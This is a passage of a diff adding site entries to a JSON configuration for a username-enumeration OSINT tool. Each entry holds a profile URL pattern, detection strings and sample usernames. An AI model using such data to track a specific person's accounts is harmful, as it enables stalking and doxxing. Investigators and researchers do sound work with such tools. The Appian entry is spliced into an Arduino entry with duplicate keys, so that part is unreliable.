], + "checkType": "status_code", + "alexaRank": 1112, + "urlMain": "https://profile.ameba.jp", + "url": "https://profile.ameba.jp/ameba/{username}/", + "usernameClaimed": "haruharuko3", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Americanthinker": { + "checkType": "message", + "absenceStrs": [ + "American Thinker" + ], + "presenseStrs": [ + "Articles:" + ], + "urlMain": "https://www.americanthinker.com/", + "url": "https://www.americanthinker.com/author/{username}/", + "usernameClaimed": "monicashowalter", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 11394 + }, + "Amirite": { + "disabled": true, + "tags": [ + "gb", + "in" + ], + "checkType": "status_code", + "alexaRank": 795752, + "urlMain": "https://www.amirite.com", + "url": "https://www.amirite.com/user/{username}", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Amperka": { + "tags": [ + "forum", + "ru" + ], + "engine": "XenForo", + "alexaRank": 126531, + "urlMain": "http://forum.amperka.ru", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Amspb": { + "disabled": true, + "tags": [ + "forum", + "ru" + ], + "engine": "phpBB", + "alexaRank": 8462543, + "urlMain": "https://amspb.info", + "usernameClaimed": "SSV", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Anapakurort": { + "disabled": true, + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u0442\u0430\u043a\u043e\u0433\u043e \u0443\u0447\u0430\u0441\u0442\u043d\u0438\u043a\u0430 \u0444\u043e\u0440\u0443\u043c\u0430 \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442" + ], + "alexaRank": 3260857, + "urlMain": "http://www.anapakurort.info", + "url": "http://www.anapakurort.info/forum/profile.php?mode=viewprofile&u={username}", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Anarcho-punk": { + "tags": [ + "forum", + "us" + ], + "engine": "XenForo", + "alexaRank": 2863384, + "urlMain": "https://www.anarcho-punk.net/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Androidforums": { + "tags": [ + "forum", + "in", + "us" + ], + "engine": "XenForo", + "alexaRank": 52260, + "urlMain": "https://androidforums.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Angara": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 516377, + "urlMain": "https://angara.net", + "url": "https://angara.net/user/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Angelgothics": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "alexaRank": 7446429, + "urlMain": "http://angelgothics.ru", + "usernameClaimed": "Angel", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Anibox": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "alexaRank": 416411, + "urlMain": "https://www.anibox.org", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Anime-planet": { + "tags": [ + "us" + ], + "checkType": "message", + "absenceStrs": [ + "The specified member cannot be found." + ], + "alexaRank": 6789, + "urlMain": "https://www.anime-planet.com", + "url": "https://www.anime-planet.com/forum/members/?username={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Anime.web.tr": { + "tags": [ + "tr" + ], + "checkType": "message", + "absenceStrs": [ + "\u00dczg\u00fcn\u00fcz, b\u00f6yle bir kullan\u0131c\u0131 bulunmuyor" + ], + "alexaRank": 2050393, + "urlMain": "http://www.anime.web.tr/", + "url": "http://www.anime.web.tr/yazar/{username}/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "AnimeNewsNetwork": { + "urlSubpath": "/bbs", + "tags": [ + "gb", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "Could not find expected value in database" + ], + "alexaRank": 11732, + "urlMain": "https://www.animenewsnetwork.com", + "url": "https://www.animenewsnetwork.com/bbs/phpBB2/profile.php?mode=viewprofile&u={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "AnimeSuperHero": { + "disabled": true, + "tags": [ + "forum", + "in", + "us" + ], + "engine": "XenForo", + "alexaRank": 556400, + "urlMain": "https://animesuperhero.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis777" + }, + "AnimeUKNews": { + "tags": [ + "forum", + "pk" + ], + "engine": "XenForo", + "alexaRank": 668885, + "urlMain": "https://forums.animeuknews.net/", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Animebase": { + "engine": "XenForo", + "alexaRank": 1397750, + "urlMain": "https://animebase.me", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "pk" + ] + }, + "Animeforum": { + "tags": [ + "forum", + "pk", + "us", + "vn" + ], + "engine": "vBulletin", + "alexaRank": 459861, + "urlMain": "https://www.animeforum.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Anonup": { + "checkType": "message", + "absenceStrs": [ + "Page not found!" + ], + "presenseStrs": [ + "Following" + ], + "url": "https://anonup.com/@{username}", + "usernameClaimed": "john", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Antichat": { + "tags": [ + "forum", + "ru", + "us" + ], + "engine": "XenForo", + "alexaRank": 75555, + "urlMain": "https://forum.antichat.ru/", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Antipunk": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "urlMain": "https://antipunk.com/", + "url": "https://antipunk.com/users/{username}", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 11955805 + }, + "Antique-bottles": { + "tags": [ + "forum", + "us" + ], + "engine": "XenForo", + "alexaRank": 2027590, + "urlMain": "https://www.antique-bottles.net", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Antiquers": { + "tags": [ + "forum", + "in" + ], + "engine": "XenForo", + "alexaRank": 482527, + "urlMain": "https://www.antiquers.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Antiwomen": { + "tags": [ + "forum", + "ru" + ], + "errors": { + "\u0412\u044b \u043d\u0435 \u043c\u043e\u0436\u0435\u0442\u0435 \u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0441\u0442\u0438 \u043f\u043e\u0438\u0441\u043a \u0441\u0440\u0430\u0437\u0443 \u043f\u043e\u0441\u043b\u0435 \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0435\u0433\u043e": "Too many searhes per IP", + "\u0414\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043e\u043d\u0444\u0435\u0440\u0435\u043d\u0446\u0438\u0438 \u0437\u0430\u043a\u0440\u044b\u0442 \u0434\u043b\u044f \u0432\u0430\u0448\u0435\u0433\u043e IP-\u0430\u0434\u0440\u0435\u0441\u0430.": "IP ban" + }, + "engine": "phpBB/Search", + "alexaRank": 269462, + "urlMain": "https://antiwomen.ru", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "ApexLegends": { + "checkType": "message", + "absenceStrs": [ + "PLAYER NOT FOUND" + ], + "presenseStrs": [ + "Overview" + ], + "url": "https://apex.tracker.gg/apex/profile/origin/{username}/overview", + "usernameClaimed": "RollsRoyce_Dawn", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Appearoo": { + "tags": [ + "in" + ], + "checkType": "response_url", + "alexaRank": 257567, + "urlMain": "http://appearoo.com", + "url": "http://appearoo.com/{username}", + "usernameClaimed": "appearoo", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Appian": { + "alexaRank": 56402, + "url": "https://community.appian.com/members/{username}", + "checkType": "message", + "absenceStrs": [ + "Working..." + ], + "absenceStrs": [ + "Arduino Project Hub" + ], + "url": "https://projecthub.arduino.cc/{username}", + "usernameClaimed": "uehkon", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "AreKamrbb": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041a \u0441\u043e\u0436\u0430\u043b\u0435\u043d\u0438\u044e, \u043c\u044b \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043d\u0430\u0448\u043b\u0438 \u0434\u043b\u044f \u0432\u0430\u0441.." + ], + "alexaRank": 214312, + "urlMain": "https://are.kamrbb.ru", + "url": "https://are.kamrbb.ru/?x=find&f={username}#top", + "usernameClaimed": "%D0%B0%D0%BB%D0%B8%D1%81%D0%B0", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Arhrock": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u0423\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + ], + "alexaRank": 2685814, + "urlMain": "https://arhrock.info/", + "url": "https://arhrock.info/forum/members/?username={username}", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Ariva": { + "tags": [ + "de" + ], + "checkType": "status_code", + "alexaRank": 17698, + "urlMain": "https://www.ariva.de/", + "url": "https://www.ariva.de/profil/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Armchairgm": { + "tags": [ + "us", + "wiki" + ], + "checkType": "status_code", + "alexaRank": 80, + "urlMain": "https://armchairgm.fandom.com/", + "url": "https://armchairgm.fandom.com/wiki/User:{username}", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Armorgames": { + "tags": [ + "gaming", + "us" + ], + "checkType": "response_url", + "alexaRank": 16054, + "urlMain": "https://armorgames.com", + "url": "https://armorgames.com/user/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Armtorg": { + "urlSubpath": "/forum", + "tags": [ + "forum", + "ru" + ], + "engine": "phpBB", + "alexaRank": 567058, + "urlMain": "https://armtorg.ru/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Arrse": { + "urlSubpath": "/community", + "tags": [ + "ca", + "forum", + "gb", + "in", + "pk" + ], + "engine": "XenForo", + "alexaRank": 602510, + "urlMain": "https://www.arrse.co.uk/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Arsenal-mania": { + "tags": [ + "gb", + "hk", + "pk", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "The specified member cannot be found. Please enter a member's entire name." + ], + "alexaRank": 1102905, + "urlMain": "https://arsenal-mania.com", + "url": "https://arsenal-mania.com/forum/members/?username={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Artistsnclients": { + "checkType": "status_code", + "url": "https://artistsnclients.com/people/{username}", + "usernameClaimed": "uehkon", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Artpersona": { + "tags": [ + "ru" + ], + "regexCheck": "^[^\\.]+$", + "checkType": "message", + "absenceStrs": [ + "\u042d\u0442\u043e\u0442 \u043f\u0440\u043e\u0444\u0438\u043b\u044c \u043b\u0438\u0431\u043e \u0431\u043e\u043b\u044c\u0448\u0435 \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442, \u043b\u0438\u0431\u043e \u0431\u043e\u043b\u044c\u0448\u0435 \u043d\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u0435\u043d." + ], + "urlMain": "http://artpersona.org/", + "url": "http://artpersona.org/cb/userprofile/{username}", + "usernameClaimed": "Sofidark", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Artstation": { + "tags": [ + "art", + "stock" + ], + "checkType": "status_code", + "alexaRank": 1414, + "urlMain": "https://www.artstation.com", + "url": "https://www.artstation.com/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Artsy": { + "tags": [ + "us" + ], + "checkType": "status_code", + "alexaRank": 10540, + "urlMain": "https://www.artsy.net", + "url": "https://www.artsy.net/artist/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Asciinema": { + "tags": [ + "in", + "tr", + "us" + ], + "checkType": "status_code", + "alexaRank": 105142, + "urlMain": "https://asciinema.org", + "url": "https://asciinema.org/~{username}", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Ask Fedora": { + "tags": [ + "forum", + "in", + "us" + ], + "absenceStrs": [ + "Sorry, we couldn't find that page." + ], + "engine": "Discourse", + "alexaRank": 36112, + "urlMain": "https://ask.fedoraproject.org/", + "usernameClaimed": "grsm", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "AskFM": { + "disabled": true, + "tags": [ + "eg", + "in", + "ru" + ], + "regexCheck": "^[a-zA-Z0-9_]{3,40}$", + "checkType": "message", + "absenceStrs": [ + "Well, apparently not anymore." + ], + "alexaRank": 4635, + "urlMain": "https://ask.fm/", + "url": "https://ask.fm/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Askvoprosy": { + "disabled": true, + "tags": [ + "coding" + ], + "checkType": "message", + "absenceStrs": [ + "" + ], + "alexaRank": 670057, + "urlMain": "https://askvoprosy.com/", + "url": "https://askvoprosy.com/polzovateli/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Astra-club": { + "tags": [ + "ru", + "ua" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + ], + "alexaRank": 1071900, + "urlMain": "http://www.astra-club.ru", + "url": "http://www.astra-club.ru/forum/search.php?keywords=&terms=all&author={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Astraclub": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d \u0438 \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 \u043f\u0440\u043e\u0444\u0438\u043b\u044f \u0434\u043b\u044f \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0430." + ], + "alexaRank": 345699, + "urlMain": "http://astraclub.ru", + "url": "http://astraclub.ru/members/?username={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Astralinux": { + "tags": [ + "forum", + "ru" + ], + "engine": "XenForo", + "alexaRank": 394418, + "urlMain": "https://forum.astralinux.ru", + "usernameClaimed": "dem", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Astro-talks": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + ], + "alexaRank": 2055636, + "urlMain": "http://www.astro-talks.ru", + "url": "http://www.astro-talks.ru/forum/search.php?keywords=&terms=all&author={username}", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Astrogalaxy": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + ], + "alexaRank": 1266828, + "urlMain": "https://astrogalaxy.ru", + "url": "https://astrogalaxy.ru/forum/phpBB2/search.php?keywords=&terms=all&author={username}", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Au": { + "tags": [ + "freelance", + "ru", + "shopping" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d</title" + ], + "alexaRank": 29241, + "urlMain": "https://au.ru", + "url": "https://au.ru/user/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Audiojungle": { + "tags": [ + "in", + "us" + ], + "regexCheck": "^[a-zA-Z0-9_]+$", + "checkType": "status_code", + "alexaRank": 5897, + "urlMain": "https://audiojungle.net/", + "url": "https://audiojungle.net/user/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Aufeminin": { + "tags": [ + "fr", + "ma", + "mg" + ], + "checkType": "response_url", + "alexaRank": 37687, + "urlMain": "https://www.aufeminin.com", + "url": "https://www.aufeminin.com/profile/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Autofrage": { + "checkType": "status_code", + "url": "https://www.autofrage.net/nutzer/{username}", + "usernameClaimed": "autofrage", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Autokadabra": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 1240738, + "urlMain": "http://autokadabra.ru/", + "url": "http://autokadabra.ru/users/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Autolada": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "<title> :: AUTOLADA.RU" + ], + "presenseStrs": [ + "postdetails" + ], + "alexaRank": 152145, + "urlMain": "https://www.autolada.ru/", + "url": "https://www.autolada.ru/profile.php?mode=viewprofile&u={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Autolenta": { + "tags": [ + "auto", + "forum", + "ru" + ], + "disabled": true, + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + ], + "alexaRank": 7414771, + "urlMain": "https://community.autolenta.ru", + "url": "https://community.autolenta.ru/profile/{username}", + "usernameClaimed": "serzhhh", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Automania": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "Go to the homepage" + ], + "presenseStrs": [ + "\u041f\u043e\u0441\u0442\u044b \u043e\u0442 " + ], + "alexaRank": 8074009, + "urlMain": "https://automania.ru", + "url": "https://automania.ru/author/{username}/", + "usernameClaimed": "autozak23", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Avforums": { + "tags": [ + "forum", + "gb", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "The specified member cannot be found." + ], + "alexaRank": 29727, + "urlMain": "https://www.avforums.com", + "url": "https://www.avforums.com/members/?username={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "AvidCommunity": { + "checkType": "message", + "absenceStrs": [ + "User Not Found" + ], + "presenseStrs": [ + "My Announcements" + ], + "url": "https://community.avid.com/members/{username}/default.aspx", + "usernameClaimed": "uehkon", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Avizo": { + "tags": [ + "cz" + ], + "checkType": "response_url", + "alexaRank": 1176334, + "urlMain": "https://www.avizo.cz/", + "url": "https://www.avizo.cz/{username}/", + "errorUrl": "https://www.avizo.cz/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis" + }, + "Avto-forum.name": { + "tags": [ + "forum", + "ru" + ], + "engine": "XenForo", + "alexaRank": 1636731, + "urlMain": "https://avto-forum.name", + "usernameClaimed": "mariya", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Avtoforum": { + "tags": [ + "forum", + "ru" + ], + "engine": "XenForo", + "urlMain": "https://avtoforum.org", + "usernameClaimed": "tim", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Avtolyubiteli": { + "tags": [ + "forum", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + ], + "alexaRank": 1322674, + "urlMain": "https://forum.avtolyubiteli.com", + "url": "https://forum.avtolyubiteli.com/search.php?keywords=&terms=all&author={username}", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Avtomarket": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u0422\u0430\u043a\u043e\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + ], + "alexaRank": 84481, + "urlMain": "https://avtomarket.ru", + "url": "https://avtomarket.ru/u/{username}/", + "usernameClaimed": "expert20144", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "B17": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 11199, + "urlMain": "https://www.b17.ru/", + "url": "https://www.b17.ru/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "BLIP.fm": { + "tags": [ + "in", + "music" + ], + "regexCheck": "^[a-zA-Z0-9_]{1,30}$", + "checkType": "status_code", + "alexaRank": 100318, + "urlMain": "https://blip.fm/", + "url": "https://blip.fm/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "BOOTH": { + "tags": [ + "jp", + "shopping" + ], + "checkType": "response_url", + "alexaRank": 6356, + "urlMain": "https://booth.pm/", + "url": "https://{username}.booth.pm/", + "errorUrl": "https://booth.pm/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Baby.ru": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "error-page__title" + ], + "presenseStrs": [ + "user-name" + ], + "alexaRank": 5852, + "urlMain": "https://www.baby.ru/", + "url": "https://www.baby.ru/u/{username}/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis" + }, + "BabyBlog.ru": { + "tags": [ + "ru" + ], + "checkType": "response_url", + "alexaRank": 18202, + "urlMain": "https://www.babyblog.ru/", + "url": "https://www.babyblog.ru/user/{username}", + "errorUrl": "https://www.babyblog.ru/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis" + }, + "BackdoorSdslabs": { + "disabled": true, + "tags": [ + "in" + ], + "regexCheck": "^[^\\.]+$", + "checkType": "message", + "absenceStrs": [ + "No such user exists" + ], + "alexaRank": 1627026, + "urlMain": "https://backdoor.sdslabs.co", + "url": "https://backdoor.sdslabs.co/users/{username}", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Badoo": { + "disabled": true, + "tags": [ + "dating", + "de", + "pl", + "ve" + ], + "checkType": "status_code", + "alexaRank": 3972, + "urlMain": "https://badoo.com/", + "url": "https://badoo.com/profile/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Bandcamp": { + "tags": [ + "music", + "us" + ], + "checkType": "status_code", + "alexaRank": 1188, + "urlMain": "https://www.bandcamp.com/", + "url": "https://www.bandcamp.com/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Bandlab": { + "checkType": "message", + "absenceStrs": [ + "find any matching element, it might be deleted" + ], + "presenseStrs": [ + "genres" + ], + "url": "https://www.bandlab.com/api/v1.3/users/{username}", + "usernameClaimed": "uehkon", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Barnacl": { + "checkType": "status_code", + "alexaRank": 1937722, + "urlMain": "https://barnacl.es/u/alexsam", + "url": "https://barnacl.es/u/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "es", + "news", + "sharing" + ] + }, + "XSS.is": { + "tags": [ + "forum", + "hacking", + "in", + "ru" + ], + "errors": { + "\u0412\u044b \u0434\u043e\u043b\u0436\u043d\u044b \u0431\u044b\u0442\u044c \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u044b, \u0447\u0442\u043e\u0431\u044b \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u044d\u0442\u043e \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0435 \u0438\u043b\u0438 \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c \u044d\u0442\u0443 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0443.": "Login required" + }, + "engine": "XenForo", + "alexaRank": 181248, + "urlMain": "https://xss.is", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Battleraprus": { + "tags": [ + "ru", + "us", + "wiki" + ], + "checkType": "status_code", + "alexaRank": 80, + "urlMain": "https://battleraprus.fandom.com/ru", + "url": "https://battleraprus.fandom.com/ru/wiki/%D0%A3%D1%87%D0%B0%D1%81%D1%82%D0%BD%D0%B8%D0%BA:{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Bayoushooter": { + "tags": [ + "forum", + "pk", + "us" + ], + "engine": "XenForo", + "alexaRank": 1059834, + "urlMain": "https://www.bayoushooter.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Bazar.cz": { + "tags": [ + "cz" + ], + "checkType": "response_url", + "alexaRank": 1126292, + "urlMain": "https://www.bazar.cz/", + "url": "https://www.bazar.cz/{username}/", + "errorUrl": "https://www.bazar.cz/error404.aspx", + "usernameClaimed": "pianina", + "usernameUnclaimed": "noonewouldeverusethis" + }, + "Bbshave": { + "tags": [ + "forum", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442." + ], + "alexaRank": 3441230, + "urlMain": "https://bbshave.ru", + "url": "https://bbshave.ru/profile/{username}", + "usernameClaimed": "Yury", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Bdoutdoors": { + "tags": [ + "us" + ], + "checkType": "message", + "absenceStrs": [ + "The specified member cannot be found" + ], + "alexaRank": 158742, + "urlMain": "https://www.bdoutdoors.com", + "url": "https://www.bdoutdoors.com/forums/members/?username={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "BeerMoneyForum": { + "disabled": true, + "ignore403": true, + "tags": [ + "finance", + "forum", + "gambling" + ], + "checkType": "message", + "absenceStrs": [ + "The specified member cannot be found." + ], + "alexaRank": 11216, + "urlMain": "https://www.beermoneyforum.com", + "url": "https://www.beermoneyforum.com/members/?username={username}", + "usernameClaimed": "Yugocean", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Beerintheevening": { + "tags": [ + "gb" + ], + "checkType": "message", + "absenceStrs": [ + "User does not exist." + ], + "alexaRank": 3307828, + "urlMain": "http://www.beerintheevening.com", + "url": "http://www.beerintheevening.com/user_profile.shtml?username={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Behance": { + "tags": [ + "business" + ], + "headers": { + "User-Agent": "Curl" + }, + "checkType": "status_code", + "alexaRank": 279, + "urlMain": "https://www.behance.net/", + "url": "https://www.behance.net/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Belmos": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + ], + "alexaRank": 9023312, + "urlMain": "https://www.belmos.ru", + "url": "https://www.belmos.ru/forum/search.php?keywords=&terms=all&author={username}", + "usernameClaimed": "starik13", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Bentbox": { + "checkType": "message", + "absenceStrs": [ + "This user is currently not available" + ], + "presenseStrs": [ + "id=\"followingUser\"" + ], + "url": "https://bentbox.co/{username}", + "usernameClaimed": "uehkon", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Bestfantasybooks": { + "disabled": true, + "tags": [ + "us" + ], + "checkType": "message", + "absenceStrs": [ + "The specified member cannot be found" + ], + "alexaRank": 506840, + "urlMain": "http://bestfantasybooks.com", + "url": "http://bestfantasybooks.com/forums/members/?username={username}", + "usernameClaimed": "tofulovefrog", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Bestweapon": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "</script><br><table 